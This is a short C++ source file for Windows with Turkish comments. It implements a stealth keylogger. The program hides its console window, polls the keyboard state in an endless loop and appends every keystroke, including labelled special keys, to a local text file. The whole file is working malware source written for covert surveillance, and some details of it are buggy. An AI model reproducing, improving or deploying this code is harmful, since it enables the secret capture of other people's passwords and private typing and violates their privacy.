#include <iostream> // Klavye ile deger girilebilmesi için gerekli kütüphane #include <windows.h> // Programı gizli çalışması için gerekli kütüphane using namespace std; // cin nesnesi mantıksal olarak içerisinde yer alır. int Save(int _key, char *file); int main() { HWND stealth; //Programın gizli çalışması için yazılan kod*/ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); char i; while (true) { for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { Save(i, "zzzBeniOku!!!zzz.txt"); } } } return 0; } int Save(int _key, char *file) { cout << _key << endl; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); if (_key == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (_key == VK_BACK) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (_key == VK_LBUTTON) fprintf(OUTPUT_FILE, "%s", "[LMB]"); else if (_key == VK_TAB) fprintf (OUTPUT_FILE, "%s", "[TAB]"); else if (_key == VK_CONTROL) fprintf (OUTPUT_FILE, "%s", "[CTRL]"); else if (_key == VK_END) fprintf (OUTPUT_FILE, "%s", "[END]"); else if (_key == VK_HOME) fprintf (OUTPUT_FILE, "%s", "[HOME]"); else if (_key == VK_LEFT) fprintf (OUTPUT_FILE, "%s", "[SOL]"); else if (_key == VK_RIGHT) fprintf (OUTPUT_FILE, "%s", "[SAG]"); else if (_key == VK_UP) fprintf (OUTPUT_FILE, "%s", "[YUKARI]"); else if (_key == VK_DOWN) fprintf (OUTPUT_FILE, "%s", "[ASAGI]"); else if (_key == VK_RETURN) fprintf(OUTPUT_FILE, "%s", "[ENTER]"); else if (_key == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESC]"); else fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0; } |